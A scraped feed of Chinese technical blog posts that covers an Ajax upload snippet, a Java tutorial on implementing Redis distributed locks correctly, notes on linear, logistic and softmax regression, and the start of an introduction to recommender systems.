            success:function(msg){alert(msg);}});

核心就是定义一个FormData对象,将要上传的数据包装到这个对象中去。然后在ajax上传数据的时候设置data属性就为formdata,processData属性设置为false,表示jQuery不要去处理发送的数据,然后设置contentType属性的值为false,表示不要设置请求头的contentType属性。OK,主要就是设置这三个,设置成功之后,其他的处理就和常规的ajax用法一致了。

后台的处理代码大家可以在文末的案例中下载,这里我就不展示不出来了。

OK,以上就是我们对Ajax上传图片以及图片预览的一个简介,有问题的小伙伴欢迎留言讨论。

案例下载地址http://download.csdn.net/download/u012702547/9950813

由于CSDN下载现在必须要积分,不得已设置了1分,如果小伙伴没有积分,文末留言我发给你。

更多JavaEE资料请关注公众号:

这里写图片描述

以上。

Redis分布式锁的正确实现方式(Java版) - 吴大山的博客 | Wudashan Blog

$
0
0

本博客使用第三方开源组件Jedis实现Redis客户端,且只考虑Redis服务端单机部署的场景。

前言

分布式锁一般有三种实现方式:1. 数据库乐观锁;2. 基于Redis的分布式锁;3. 基于ZooKeeper的分布式锁。本篇博客将介绍第二种方式,基于Redis实现分布式锁。虽然网上已经有各种介绍Redis分布式锁实现的博客,然而他们的实现却有着各种各样的问题,为了避免误人子弟,本篇博客将详细介绍如何正确地实现Redis分布式锁。


可靠性

首先,为了确保分布式锁可用,我们至少要确保锁的实现同时满足以下四个条件:

  1. 互斥性。在任意时刻,只有一个客户端能持有锁。
  2. 不会发生死锁。即使有一个客户端在持有锁的期间崩溃而没有主动解锁,也能保证后续其他客户端能加锁。
  3. 具有容错性。只要大部分的Redis节点正常运行,客户端就可以加锁和解锁。
  4. 解铃还须系铃人。加锁和解锁必须是同一个客户端,客户端自己不能把别人加的锁给解了。

代码实现

组件依赖

首先我们要通过Maven引入Jedis开源组件,在pom.xml文件加入下面的代码:

<dependency><groupId>redis.clients</groupId><artifactId>jedis</artifactId><version>2.9.0</version></dependency>

加锁代码

正确姿势

Talk is cheap, show me the code。先展示代码,再带大家慢慢解释为什么这样实现:

public class RedisTool {
    private static final String LOCK_SUCCESS = "OK";
    private static final String SET_IF_NOT_EXIST = "NX";
    private static final String SET_WITH_EXPIRE_TIME = "PX";
    /**
     * 尝试获取分布式锁
     * @param jedis Redis客户端
     * @param lockKey 锁
     * @param requestId 请求标识
     * @param expireTime 超期时间
     * @return 是否获取成功
     */
    public static boolean tryGetDistributedLock(Jedis jedis, String lockKey, String requestId, int expireTime) {
        String result = jedis.set(lockKey, requestId, SET_IF_NOT_EXIST, SET_WITH_EXPIRE_TIME, expireTime);
        if (LOCK_SUCCESS.equals(result)) {
            return true;
        }
        return false;
    }
}

可以看到,我们加锁就一行代码:jedis.set(String key, String value, String nxxx, String expx, int time),这个set()方法一共有五个形参:

  • 第一个为key,我们使用key来当锁,因为key是唯一的。

  • 第二个为value,我们传的是requestId,很多童鞋可能不明白,有key作为锁不就够了吗,为什么还要用到value?原因就是我们在上面讲到可靠性时,分布式锁要满足第四个条件解铃还须系铃人,通过给value赋值为requestId,我们就知道这把锁是哪个请求加的了,在解锁的时候就可以有依据。requestId可以使用UUID.randomUUID().toString()方法生成。

  • 第三个为nxxx,这个参数我们填的是NX,意思是SET IF NOT EXIST,即当key不存在时,我们进行set操作;若key已经存在,则不做任何操作;

  • 第四个为expx,这个参数我们传的是PX,意思是我们要给这个key加一个过期的设置,具体时间由第五个参数决定。

  • 第五个为time,与第四个参数相呼应,代表key的过期时间。

总的来说,执行上面的set()方法就只会导致两种结果:1. 当前没有锁(key不存在),那么就进行加锁操作,并对锁设置个有效期,同时value表示加锁的客户端。2. 已有锁存在,不做任何操作。

心细的童鞋就会发现了,我们的加锁代码满足我们可靠性里描述的三个条件。首先,set()加入了NX参数,可以保证如果已有key存在,则函数不会调用成功,也就是只有一个客户端能持有锁,满足互斥性。其次,由于我们对锁设置了过期时间,即使锁的持有者后续发生崩溃而没有解锁,锁也会因为到了过期时间而自动解锁(即key被删除),不会发生死锁。最后,因为我们将value赋值为requestId,代表加锁的客户端请求标识,那么在客户端在解锁的时候就可以进行校验是否是同一个客户端。由于我们只考虑Redis单机部署的场景,所以容错性我们暂不考虑。

错误示例1

比较常见的错误示例就是使用jedis.setnx()jedis.expire()组合实现加锁,代码如下:

public static void wrongGetLock1(Jedis jedis, String lockKey, String requestId, int expireTime) {
    Long result = jedis.setnx(lockKey, requestId);
    if (result == 1) {
        // 若在这里程序突然崩溃,则无法设置过期时间,将发生死锁
        jedis.expire(lockKey, expireTime);
    }
}

setnx()方法作用就是SET IF NOT EXIST,expire()方法就是给锁加一个过期时间。乍一看好像和前面的set()方法结果一样,然而由于这是两条Redis命令,不具有原子性,如果程序在执行完setnx()之后突然崩溃,导致锁没有设置过期时间。那么将会发生死锁。网上之所以有人这样实现,是因为低版本的jedis并不支持多参数的set()方法。

错误示例2

这一种错误示例就比较难以发现问题,而且实现也比较复杂。实现思路:使用jedis.setnx()命令实现加锁,其中key是锁,value是锁的过期时间。执行过程:1. 通过setnx()方法尝试加锁,如果当前锁不存在,返回加锁成功。2. 如果锁已经存在则获取锁的过期时间,和当前时间比较,如果锁已经过期,则设置新的过期时间,返回加锁成功。代码如下:

public static boolean wrongGetLock2(Jedis jedis, String lockKey, int expireTime) {
    long expires = System.currentTimeMillis() + expireTime;
    String expiresStr = String.valueOf(expires);
    // 如果当前锁不存在,返回加锁成功
    if (jedis.setnx(lockKey, expiresStr) == 1) {
        return true;
    }
    // 如果锁存在,获取锁的过期时间
    String currentValueStr = jedis.get(lockKey);
    if (currentValueStr != null && Long.parseLong(currentValueStr) < System.currentTimeMillis()) {
        // 锁已过期,获取上一个锁的过期时间,并设置现在锁的过期时间
        String oldValueStr = jedis.getSet(lockKey, expiresStr);
        if (oldValueStr != null && oldValueStr.equals(currentValueStr)) {
            // 考虑多线程并发的情况,只有一个线程的设置值和当前值相同,它才有权利加锁
            return true;
        }
    }
    // 其他情况,一律返回加锁失败
    return false;
}

那么这段代码问题在哪里?1. 由于是客户端自己生成过期时间,所以需要强制要求分布式下每个客户端的时间必须同步。 2. 当锁过期的时候,如果多个客户端同时执行jedis.getSet()方法,那么虽然最终只有一个客户端可以加锁,但是这个客户端的锁的过期时间可能被其他客户端覆盖。3. 锁不具备拥有者标识,即任何客户端都可以解锁。

解锁代码

正确姿势

还是先展示代码,再带大家慢慢解释为什么这样实现:

public class RedisTool {
    private static final Long RELEASE_SUCCESS = 1L;
    /**
     * 释放分布式锁
     * @param jedis Redis客户端
     * @param lockKey 锁
     * @param requestId 请求标识
     * @return 是否释放成功
     */
    public static boolean releaseDistributedLock(Jedis jedis, String lockKey, String requestId) {
        String script = "if redis.call('get', KEYS[1]) == ARGV[1] then return redis.call('del', KEYS[1]) else return 0 end";
        Object result = jedis.eval(script, Collections.singletonList(lockKey), Collections.singletonList(requestId));
        if (RELEASE_SUCCESS.equals(result)) {
            return true;
        }
        return false;
    }
}

可以看到,我们解锁只需要两行代码就搞定了!第一行代码,我们写了一个简单的Lua脚本代码,上一次见到这个编程语言还是在《黑客与画家》里,没想到这次居然用上了。第二行代码,我们将Lua代码传到jedis.eval()方法里,并使参数KEYS[1]赋值为lockKey,ARGV[1]赋值为requestId。eval()方法是将Lua代码交给Redis服务端执行。

那么这段Lua代码的功能是什么呢?其实很简单,首先获取锁对应的value值,检查是否与requestId相等,如果相等则删除锁(解锁)。那么为什么要使用Lua语言来实现呢?因为要确保上述操作是原子性的。关于非原子性会带来什么问题,可以阅读【解锁代码-错误示例2】。那么为什么执行eval()方法可以确保原子性,源于Redis的特性,下面是官网对eval命令的部分解释:

简单来说,就是在eval命令执行Lua代码的时候,Lua代码将被当成一个命令去执行,并且直到eval命令执行完成,Redis才会执行其他命令。

错误示例1

最常见的解锁代码就是直接使用jedis.del()方法删除锁,这种不先判断锁的拥有者而直接解锁的方式,会导致任何客户端都可以随时进行解锁,即使这把锁不是它的。

public static void wrongReleaseLock1(Jedis jedis, String lockKey) {
    jedis.del(lockKey);
}

错误示例2

这种解锁代码乍一看也是没问题,甚至我之前也差点这样实现,与正确姿势差不多,唯一区别的是分成两条命令去执行,代码如下:

public static void wrongReleaseLock2(Jedis jedis, String lockKey, String requestId) {
    // 判断加锁与解锁是不是同一个客户端
    if (requestId.equals(jedis.get(lockKey))) {
        // 若在此时,这把锁突然不是这个客户端的,则会误解锁
        jedis.del(lockKey);
    }
}

如代码注释,问题在于如果调用jedis.del()方法的时候,这把锁已经不属于当前客户端的时候会解除他人加的锁。那么是否真的有这种场景?答案是肯定的,比如客户端A加锁,一段时间之后客户端A解锁,在执行jedis.del()之前,锁突然过期了,此时客户端B尝试加锁成功,然后客户端A再执行del()方法,则将客户端B的锁给解除了。


总结

本文主要介绍了如何使用Java代码正确实现Redis分布式锁,对于加锁和解锁也分别给出了两个比较经典的错误示例。其实想要通过Redis实现分布式锁并不难,只要保证能满足可靠性里的四个条件。互联网虽然给我们带来了方便,只要有问题就可以google,然而网上的答案一定是对的吗?其实不然,所以我们更应该时刻保持着质疑精神,多想多验证。

如果你的项目中Redis是多机部署的,那么可以尝试使用Redisson实现分布式锁,这是Redis官方提供的Java组件,链接在参考阅读章节已经给出。


参考阅读

[1] Distributed locks with Redis

[2] EVAL command

[3] Redisson



对线性回归,logistic回归和一般回归的认识 - JerryLead - 博客园

$
0
0

     【转载时请注明来源】: http://www.cnblogs.com/jerrylead

     JerryLead

     2011年2月27日

     作为一个机器学习初学者,认识有限,表述也多有错误,望大家多多批评指正。

1 摘要

      本报告是在学习斯坦福大学机器学习课程前四节加上配套的讲义后的总结与认识。前四节主要讲述了回归问题,回归属于有监督学习中的一种方法。该方法的核心思想是从连续型统计数据中得到数学模型,然后将该数学模型用于预测或者分类。该方法处理的数据可以是多维的。

     讲义最初介绍了一个基本问题,然后引出了线性回归的解决方法,然后针对误差问题做了概率解释。之后介绍了logistic回归。最后上升到理论层次,提出了一般回归。

2 问题引入

     这个例子来自 http://www.cnblogs.com/LeftNotEasy/archive/2010/12/05/mathmatic_in_machine_learning_1_regression_and_gradient_descent.html

     假设有一个房屋销售的数据如下:

面积(m^2)

销售价钱(万元)

123

250

150

320

87

160

102

220

     这个表类似于北京5环左右的房屋价钱,我们可以做出一个图,x轴是房屋的面积。y轴是房屋的售价,如下:

     clip_image001

     如果来了一个新的面积,假设在销售价钱的记录中没有的,我们怎么办呢?

     我们可以用一条曲线去尽量准的拟合这些数据,然后如果有新的输入过来,我们可以在将曲线上这个点对应的值返回。如果用一条直线去拟合,可能是下面的样子:

     clip_image002

     绿色的点就是我们想要预测的点。

     首先给出一些概念和常用的符号。

     房屋销售记录表:训练集(training set)或者训练数据(training data), 是我们流程中的输入数据,一般称为x

     房屋销售价钱:输出数据,一般称为y

     拟合的函数(或者称为假设或者模型):一般写做 y = h(x)

     训练数据的条目数(#training set),:一条训练数据是由一对输入数据和输出数据组成的输入数据的维度n (特征的个数,#features)

     这个例子的特征是两维的,结果是一维的。然而回归方法能够解决特征多维,结果是一维多离散值或一维连续值的问题。

3 学习过程

     下面是一个典型的机器学习的过程,首先给出一个输入数据,我们的算法会通过一系列的过程得到一个估计的函数,这个函数有能力对没有见过的新数据给出一个新的估计,也被称为构建一个模型。就如同上面的线性回归函数。

     clip_image003

4 线性回归

     线性回归假设特征和结果满足线性关系。其实线性关系的表达能力非常强大,每个特征对结果的影响强弱可以由前面的参数体现,而且每个特征变量可以首先映射到一个函数,然后再参与线性计算。这样就可以表达特征与结果之间的非线性关系。

     我们用X1,X2..Xn 去描述feature里面的分量,比如x1=房间的面积,x2=房间的朝向,等等,我们可以做出一个估计函数:

     clip_image004

     θ在这儿称为参数,在这的意思是调整feature中每个分量的影响力,就是到底是房屋的面积更重要还是房屋的地段更重要。为了如果我们令X0 = 1,就可以用向量的方式来表示了:

     clip_image005

     我们程序也需要一个机制去评估我们θ是否比较好,所以说需要对我们做出的h函数进行评估,一般这个函数称为损失函数(loss function)或者错误函数(error function),描述h函数不好的程度,在下面,我们称这个函数为J函数

     在这儿我们可以认为错误函数如下:

     clip_image006

     这个错误估计函数是去对x(i)的估计值与真实值y(i)差的平方和作为错误估计函数,前面乘上的1/2是为了在求导的时候,这个系数就不见了。

     至于为何选择平方和作为错误估计函数,讲义后面从概率分布的角度讲解了该公式的来源。

     如何调整θ以使得J(θ)取得最小值有很多方法,其中有最小二乘法(min square),是一种完全是数学描述的方法,和梯度下降法。

5 梯度下降法

     在选定线性回归模型后,只需要确定参数θ,就可以将模型用来预测。然而θ需要在J(θ)最小的情况下才能确定。因此问题归结为求极小值问题,使用梯度下降法。梯度下降法最大的问题是求得有可能是全局极小值,这与初始点的选取有关。

     梯度下降法是按下面的流程进行的:

     1)首先对θ赋值,这个值可以是随机的,也可以让θ是一个全零的向量。

     2)改变θ的值,使得J(θ)按梯度下降的方向进行减少。

     梯度方向由J(θ)对θ的偏导数确定,由于求的是极小值,因此梯度方向是偏导数的反方向。结果为

     clip_image007     

     迭代更新的方式有两种,一种是批梯度下降,也就是对全部的训练数据求得误差后再对θ进行更新,另外一种是增量梯度下降,每扫描一步都要对θ进行更新。前一种方法能够不断收敛,后一种方法结果可能不断在收敛处徘徊。

     一般来说,梯度下降法收敛速度还是比较慢的。

     另一种直接计算结果的方法是最小二乘法。

6 最小二乘法

     将训练特征表示为X矩阵,结果表示成y向量,仍然是线性回归模型,误差函数不变。那么θ可以直接由下面公式得出

clip_image008

     但此方法要求X是列满秩的,而且求矩阵的逆比较慢。

7 选用误差函数为平方和的概率解释

     假设根据特征的预测结果与实际结果有误差 clip_image010,那么预测结果 clip_image012和真实结果 clip_image014满足下式:

clip_image015

     一般来讲,误差满足平均值为0的高斯分布,也就是正态分布。那么x和y的条件概率也就是

clip_image016

     这样就估计了一条样本的结果概率,然而我们期待的是模型能够在全部样本上预测最准,也就是概率积最大。注意这里的概率积是概率密度函数积,连续函数的概率密度函数与离散值的概率函数不同。这个概率积成为最大似然估计。我们希望在最大似然估计得到最大值时确定θ。那么需要对最大似然估计公式求导,求导结果既是

     clip_image017     

     这就解释了为何误差函数要使用平方和。

     当然推导过程中也做了一些假定,但这个假定符合客观规律。

8 带权重的线性回归

     上面提到的线性回归的误差函数里系统都是1,没有权重。带权重的线性回归加入了权重信息。

     基本假设是

     clip_image018     

     其中假设 clip_image020符合公式

     clip_image021          

     其中x是要预测的特征,这样假设的道理是离x越近的样本权重越大,越远的影响越小。这个公式与高斯分布类似,但不一样,因为 clip_image023不是随机变量。

     此方法成为非参数学习算法,因为误差函数随着预测值的不同而不同,这样θ无法事先确定,预测一次需要临时计算,感觉类似KNN。

9 分类和logistic回归

     一般来说,回归不用在分类问题上,因为回归是连续型模型,而且受噪声影响比较大。如果非要应用进入,可以使用logistic回归。

     logistic回归本质上是线性回归,只是在特征到结果的映射中加入了一层函数映射,即先把特征线性求和,然后使用函数g(z)将最为假设函数来预测。g(z)可以将连续值映射到0和1上。

     logistic回归的假设函数如下,线性回归假设函数只是 clip_image025

clip_image026

     logistic回归用来分类0/1问题,也就是预测结果属于0或者1的二值分类问题。这里假设了二值满足伯努利分布,也就是

clip_image027

     当然假设它满足泊松分布、指数分布等等也可以,只是比较复杂,后面会提到线性回归的一般形式。

     与第7节一样,仍然求的是最大似然估计,然后求导,得到迭代公式结果为

     clip_image028

     可以看到与线性回归类似,只是 clip_image012[1]换成了 clip_image030,而 clip_image030[1]实际上就是 clip_image012[2]经过g(z)映射过来的。

10 牛顿法来解最大似然估计

     第7和第9节使用的解最大似然估计的方法都是求导迭代的方法,这里介绍了牛顿下降法,使结果能够快速的收敛。

     当要求解 clip_image032时,如果f可导,那么可以通过迭代公式

clip_image033

     来迭代求解最小值。

     当应用于求解最大似然估计的最大值时,变成求解最大似然估计概率导数 clip_image035的问题。

     那么迭代公式写作

     clip_image036

     当θ是向量时,牛顿法可以使用下面式子表示

     clip_image037 

     其中 clip_image038是n×n的Hessian矩阵。

     牛顿法收敛速度虽然很快,但求Hessian矩阵的逆的时候比较耗费时间。

     当初始点X0靠近极小值X时,牛顿法的收敛速度是最快的。但是当X0远离极小值时,牛顿法可能不收敛,甚至连下降都保证不了。原因是迭代点Xk+1不一定是目标函数f在牛顿方向上的极小点。

11 一般线性模型

     之所以在logistic回归时使用

     clip_image039

     的公式是由一套理论作支持的。

     这个理论便是一般线性模型。

     首先,如果一个概率分布可以表示成

     clip_image040

     时,那么这个概率分布可以称作是指数分布。

     伯努利分布,高斯分布,泊松分布,贝塔分布,狄特里特分布都属于指数分布。

     在logistic回归时采用的是伯努利分布,伯努利分布的概率可以表示成

     clip_image041

     其中

     clip_image042

     得到

     clip_image044

     这就解释了logistic回归时为了要用这个函数。

     一般线性模型的要点是

     1) clip_image046满足一个以 clip_image048为参数的指数分布,那么可以求得 clip_image048[1]的表达式。

     2) 给定x,我们的目标是要确定 clip_image050,大多数情况下 clip_image052,那么我们实际上要确定的是 clip_image054,而 clip_image056。(在logistic回归中期望值是 clip_image058,因此h是 clip_image058[1];在线性回归中期望值是 clip_image060,而高斯分布中 clip_image062,因此线性回归中h= clip_image064)。

     3) clip_image066

12 Softmax回归

     最后举了一个利用一般线性模型的例子。

     假设预测值y有k种可能,即y∈{1,2,…,k}

     比如k=3时,可以看作是要将一封未知邮件分为垃圾邮件、个人邮件还是工作邮件这三类。

     定义

     clip_image067

     那么

     clip_image068

     这样

     clip_image069

     即式子左边可以有其他的概率表示,因此可以当作是k-1维的问题。

     为了表示多项式分布表述成指数分布,我们引入T(y),它是一组k-1维的向量,这里的T(y)不是y,T(y)i表示T(y)的第i个分量。

     clip_image071

     应用于一般线性模型,结果y必然是k中的一种。1{y=k}表示当y=k的时候,1{y=k}=1。那么p(y)可以表示为

     clip_image072

     其实很好理解,就是当y是一个值m(m从1到k)的时候,p(y)= clip_image074,然后形式化了一下。

     那么

     clip_image075

     最后求得

     clip_image076

     而y=i时

     clip_image077

     求得期望值

clip_image078

     那么就建立了假设函数,最后就获得了最大似然估计

clip_image079

     对该公式可以使用梯度下降或者牛顿法迭代求解。

     解决了多值模型建立与预测问题。

 

 

学习总结

     该讲义组织结构清晰,思路独特,讲原因,也讲推导。可贵的是讲出了问题的基本解决思路和扩展思路,更重要的是讲出了为什么要使用相关方法以及问题根源。在看似具体的解题思路中能引出更为抽象的一般解题思路,理论化水平很高。

     该方法可以用在对数据多维分析和多值预测上,更适用于数据背后蕴含某种概率模型的情景。

几个问题

     一是采用迭代法的时候,步长怎么确定比较好

     而是最小二乘法的矩阵形式是否一般都可用

线性回归与逻辑回归 - CSDN博客

$
0
0
七月在线4月机器学习算法班课程笔记——No.5

前言 

  回归算法是一种通过最小化预测值与实际结果值之间的差距,而得到输入特征之间的最佳组合方式的一类算法。对于连续值预测有线性回归等,而对于离散值/类别预测,我们也可以把逻辑回归等也视作回归算法的一种。
  线性回归与逻辑回归是机器学习中比较基础又很常用的内容。线性回归主要用来解决连续值预测的问题,逻辑回归用来解决分类的问题,输出的属于某个类别的概率,工业界经常会用逻辑回归来做排序。在SVM、GBDT、AdaBoost算法中都有涉及逻辑回归,回归中的损失函数、梯度下降、过拟合等知识点也经常是面试考察的基础问题。因此很重要的两个内容,需要仔细体会~

1. 线性回归

1.1 线性回归问题

  线性回归,是利用数理统计中回归分析,来确定两种或两种以上变量间相互依赖的定量关系的一种统计分析方法,运用十分广泛。其表达形式为y = w’x+e,e为误差服从均值为0的正态分布。中学就有接触线性回归,那么线性回归应用在什么地方呢?它适用于有监督学习的预测。
  一元线性回归分析:y=ax+b,只包括一个自变量和一个因变量,且二者的关系可用一条直线近似表示。
  多元线性回归分析:hθ(x)=θ0+θ1x1+...+θnxn,包括两个或两个以上的自变量,并且因变量和自变量是线性关系。
  

1.2 损失函数

  损失函数:是指一种将一个事件(在一个样本空间中的一个元素)映射到一个表达与其事件相关的经济成本或机会成本的实数上的一种函数。更通俗地说,损失函数用来衡量参数选择的准确性。损失函数定义为:

J(θ0,θ1,...,θn)=12m∑i=1m(hθ(x(i))−y(i))2

这个公式计算的是线性回归分析的值与实际值的距离的平均值。显然,损失函数得到的值越小,损失也就越小。

1.3 梯度下降

  怎样最小化损失函数?损失函数的定义是一个凸函数,就可以使用凸优化的一些方法:
1) 梯度下降:逐步最小化损失函数的过程。如同下山的过程,找准下山方向(梯度),每次迈进一步,直至山底。如果有多个特征,对应多个参数θ,需要对每一个参数做一次迭代θj:=θj−α∂∂θjJ(θ0,θ1),做完以后再求J函数。
  学习率:上段公式中的α就是学习率。它决定了下降的节奏快慢,就像一个人下山时候步伐的快慢。α过小会导致收敛很慢,α太大有可能会导致震荡。如何选择学习率呢,目前也有好多关于学习率自适应算法的研究。工程上,一般会调用一些开源包,包含有一些自适应方法。自己做的话会选择相对较小的α,比如0.01。下图展示了梯度下降的过程。
  
2) 牛顿法:速度快适用于小数据,大数据比较耗内存。

1.4 过拟合与正则化

  回归与欠/过拟合:
1) 欠拟合:函数假设太简单导致无法覆盖足够的原始数据,可能造成数据预测的不准确。
2) 拟合问题:比如我们有很多的特征,假设的函数曲线对原始数据拟合的非常好,从而丧失一般性,导致对新给的待预测样本,预测效果差。下图就是一个例子,一个复杂的曲线,把所有点都拟合进去了,但是泛化能力变差了,没有得到一个规律性的函数,不能有效的预测新样本。
   这里写图片描述

  过拟合解决方法:
1) 减少特征个数:手工选择保留特征、模型选择的算法选择特征。
2) 正则化:在原来的损失函数中加入θ的平方项,来防止波动太大。

J(θ0,θ1,...,θn)=12m[∑i=1m(hθ(x(i))−y(i))2+λ∑j=1nθ2j]

即L2正则化。留下所有的特征,但是减少参数的大小。

2. 逻辑(斯特)回归

2.1 应用分析

  与线性回归不同,逻辑回归主要用于解决分类问题,那么线性回归能不能做同样的事情呢?下面举一个例子。比如恶性肿瘤和良性肿瘤的判定。假设我们通过拟合数据得到线性回归方程和一个阈值,用阈值判定是良性还是恶性:
   这里写图片描述
  如图,size小于某值就是良性,否则恶性。但是“噪声”对线性方程的影响特别大,会大大降低分类准确性。例如再加三个样本就可以使方程变成这样:
   这里写图片描述
  那么,逻辑斯特回归是怎么做的呢?如果不能找到一个绝对的数值判定肿瘤的性质,就用概率的方法,预测出一个概率,比如>0.5判定为恶性的。

2.2 Sigmoid函数

  逻辑回归首先把样本映射到[0,1]之间的数值,这就归功于sigmoid函数,可以把任何连续的值映射到[0,1]之间,数越大越趋向于0,越小越趋近于1。Sigmoid函数公式如下:
  

g(z)=11+e−z

  函数的图像如下图,x=0的时候y对应中心点。
   这里写图片描述

  判定边界:对多元线性回归方程求Sigmoid函数hθ(x)=g(θ0+θ1x1+...+θnxn),找到一组θ,假设得到−3+x1+x2=0的直线,把样本分成两类。把(1,1)代入g函数,概率值<0.5,就判定为负样本。这条直线就是判定边界,如下图:
   这里写图片描述
  除了线性判定边界,还有较复杂的非线性判定边界。

2.3 逻辑回归的损失函数

  线性回归的损失函数对逻辑回归不可用,因为逻辑回归的值是0或者1,求距离平均值会是一条不断弯曲的曲线,不是理想的凸函数。聪明的数学家找到了一个适合逻辑回归的损失定义方法:
  

Cost(hθ(x),y)={−log(hθ(x)),−log(1−hθ(x)),if y=1if y=0

  其中hθ(x)是一个概率值,y=1表示正样本,y=0表示负样本。当y是正样本时,如果给定的概率特别小(预测为负样本),损失就会很大;给定的概率很大(预测为正样本),损失就会接近0。损失值的函数如图:
   这里写图片描述
  带L2正则项的损失函数:
  
J(θ)=[−1m∑i=1my(i)log(hθ(x(i))+(1−y(i))log1−hθ(x(i))]+λm∑j=1nθ2j

 这个函数依然可以用梯度下降求解。

2.4 多分类问题

  刚才讲述的都是二分类的问题,那如果是多分类的问题,又该怎么做呢?其实可以套用二分类的方法,根据特征,一层层细化类别。比如下图中有三种形状:
   这里写图片描述
  可以先用一个分类器区分“正方形”和“非正方形”,再用一个分类器对非正方形区分,得到“三角形”和“非三角形”,然后再用一个分类器区分叉。

3. 工程应用经验

  逻辑斯特回归(LR)是个比较基础的算法,在它只会有很多算法SVM/GBDT/RandomForest。复杂的算法比较难以把握,工业界更偏向于用简单的算法。

3.1 LR优点与应用

  LR的优点:
1) LR是以概率的形式输出结果,不只是0和1的判定;
2) LR的可解释强,可控性高;
3) 训练快,feature engineering之后效果赞;
4) 因为结果是概率,可以做ranking model;
5) 添加feature简单。
  LR的应用场景很多哈:
1) CTR预估、推荐系统的learning to rank;
2) 一些电商搜索排序基线;
3) 一些电商的购物搭配推荐;
4) 新闻app排序基线。

3.2 关于样本处理

  样本太大怎么处理?
1) 对特征离散化,离散化后用one-hot编码处理成0,1值,再用LR处理会较快收敛;
2) 如果一定要用连续值的话,可以做scaling;
3) 工具的话有 spark Mllib,它损失了一小部分的准确度达到速度的提升;
4) 如果没有并行化平台,想做大数据就试试采样。需要注意采样数据,最好不要随机取,可以按照日期/用户/行为,来分层抽样。
  怎么使样本平衡?
1) 如果样本不均衡,样本充足的情况下可以做下采样——抽样,样本不足的情况下做上采样——对样本少的做重复;
2) 修改损失函数,给不同权重。比如负样本少,就可以给负样本大一点的权重;
3) 采样后的predict结果,用作判定请还原。

3.3 关于特征处理

1) 离散化优点:映射到高维空间,用linear的LR(快,且兼具更好的分割性);稀疏化,0,1向量内积乘法运算速度快,计算结果方 便存储,容易扩展;离散化后,给线性模型带来一定的非线性;模型稳定,收敛度高,鲁棒性好;在一定程度上降低了过拟合风险
2) 通过组合特征引入个性化因素:比如uuid+tag
3) 注意特征的频度: 区分特征重要度,可以用重要特征产出层次判定模型

3.4 算法调优

假设只看模型的话:
1) 选择合适的正则化:L2准确度高,训练时间长;L1可以做一定的特征选择,适合大量数据
2) 收敛阈值e,控制迭代轮数
3) 样本不均匀时调整loss function,给不同权重
4) Bagging或其他方式的模型融合
5) 选择最优化算法:liblinear、sag、newton-cg等

More

  1. 七月算法机器学习视频
  2. 逻辑回归初步

推荐系统原理介绍-用户画像简介 - CSDN博客

$
0
0

最近在做推荐系统,在项目组内做了一个分享。今天有些时间,就将逻辑梳理一遍,将ppt内容用文字沉淀下来,便于接下来对推荐系统的进一步研究。推荐系统确实是极度复杂,要走的路还很长。

 

A First Glance

 

 

为什么需要推荐系统——信息过载

 

随着互联网行业的井喷式发展,获取信息的方式越来越多,人们从主动获取信息逐渐变成了被动接受信息,信息量也在以几何倍数式爆发增长。举一个例子,PC时代用google reader,常常有上千条未读博客更新;如今的微信公众号,也有大量的红点未阅读。垃圾信息越来越多,导致用户获取有价值信息的成本大大增加。为了解决这个问题,我个人就采取了比较极端的做法:直接忽略所有推送消息的入口。但在很多时候,有效信息的获取速度极其重要。

 

   

 

由于信息的爆炸式增长,对信息获取的有效性,针对性的需求也就自然出现了。推荐系统应运而生。

 

亚马逊的推荐系统

 

最早的推荐系统应该是亚马逊为了提升长尾货物的用户抵达率而发明的。已经有数据证明,长尾商品的销售额以及利润总和与热门商品是基本持平的。亚马逊网站上在线销售的商品何止百万,但首页能够展示的商品数量又极其有限,给用户推荐他们可能喜欢的商品就成了一件非常重要的事情。当然,商品搜索也是一块大蛋糕,亚马逊的商品搜索早已经开始侵蚀谷歌的核心业务了。

 

在亚马逊的商品展示页面,经常能够看见:浏览此商品的顾客也同时浏览。

 

 

这就是非常典型的推荐系统。八卦一下:”剁手族”的兴起,与推荐系统应该有一定关系吧,哈哈。

 

推荐系统与大数据

 

大数据与云计算,在当下非常热门。不管是业内同事还是其他行业的朋友,大数据都是一个常谈的话题。就像青少年时期热门的话题:“性”。大家都不太懂,但大家都想说上几句。业内对于大数据的使用其实还处于一个比较原始的探索阶段,前段时间听一家基因公司的CEO说,现在可以将人类的基因完全导出为数据,但这些数据毫无规律,能拿到这些数据,但根本不知道可以干什么。推荐系统也是利用用户数据来发现规律,相对来说开始得更早,运用上也比较成熟。

 

冷启动问题

 

推荐系统需要数据作为支撑。但亚马逊在刚刚开始做推荐的时候,是没有大量且有效的用户行为数据的。这时候就会面临着“冷启动”的问题。没有用户行为数据,就利用商品本身的内容数据。这就是推荐系统早期的做法。

 

基于内容的推荐:

  1. tag   给商品打上各种tag:运动商品类,快速消费品类,等等。粒度划分越细,推荐结果就越精确

  2. 商品名称,描述的关键字    通过从商品的文本描述信息中提取关键字,从而利用关键字的相似来作推荐

  3. 同商家的不同商品       用户购买了商店的一件商品,就推荐这个商店的其他热销商品

  4. 利用经验,人为地做一些关联    一个经典的例子就是商店在啤酒架旁边摆上纸尿布。那么,在网上购买啤酒的人,也可以推荐纸尿布?

 

由于内容的极度复杂性,这一块儿的规则可以无限拓展。基于内容的推荐与用户行为数据没有关系,在亚马逊早期是比较靠谱的策略。但正是由于内容的复杂性,也会出现很多错误的推荐。比如:小明在网上搜索过保时捷汽车模型。然后推荐系统根据关键字,给小明推荐了价值200万的保时捷911......

 

用户行为数据—到底在记录什么

 

在游戏里面,我们的人物角色是一堆复杂的数据,这叫做数据存储;这些数据以一定的结构组合起来,这叫做数据结构。同样地,在亚马逊眼里,我们就是一张张表格中一大堆纷繁复杂的数字。举一个栗子:

 

小明早上9点打开了亚马逊,先是浏览了首页,点击了几个热销的西装链接,然后在搜索栏输入了nike篮球鞋,在浏览了8双球鞋后,看了一些购买者的评价,最终选定了air jordan的最新款。

 

这就是一条典型的用户行为数据。亚马逊会将这条行为拆分成设定好的数据块,再以一定的数据结构,存储到亚马逊的用户行为数据仓库中。每天都有大量的用户在产生这样的行为数据,数据量越多,可以做的事情也就越强大。

 

user-item 用户偏好矩阵

 

收集数据是为了分析用户的偏好,形成用户偏好矩阵。比如在网购过程中,用户发生了查看,购买,分享商品的行为。这些行为是多样的,所以需要一定的加权算法来计算出用户对某一商品的偏好程度,形成user-item用户偏好矩阵。

 



数据清理

 

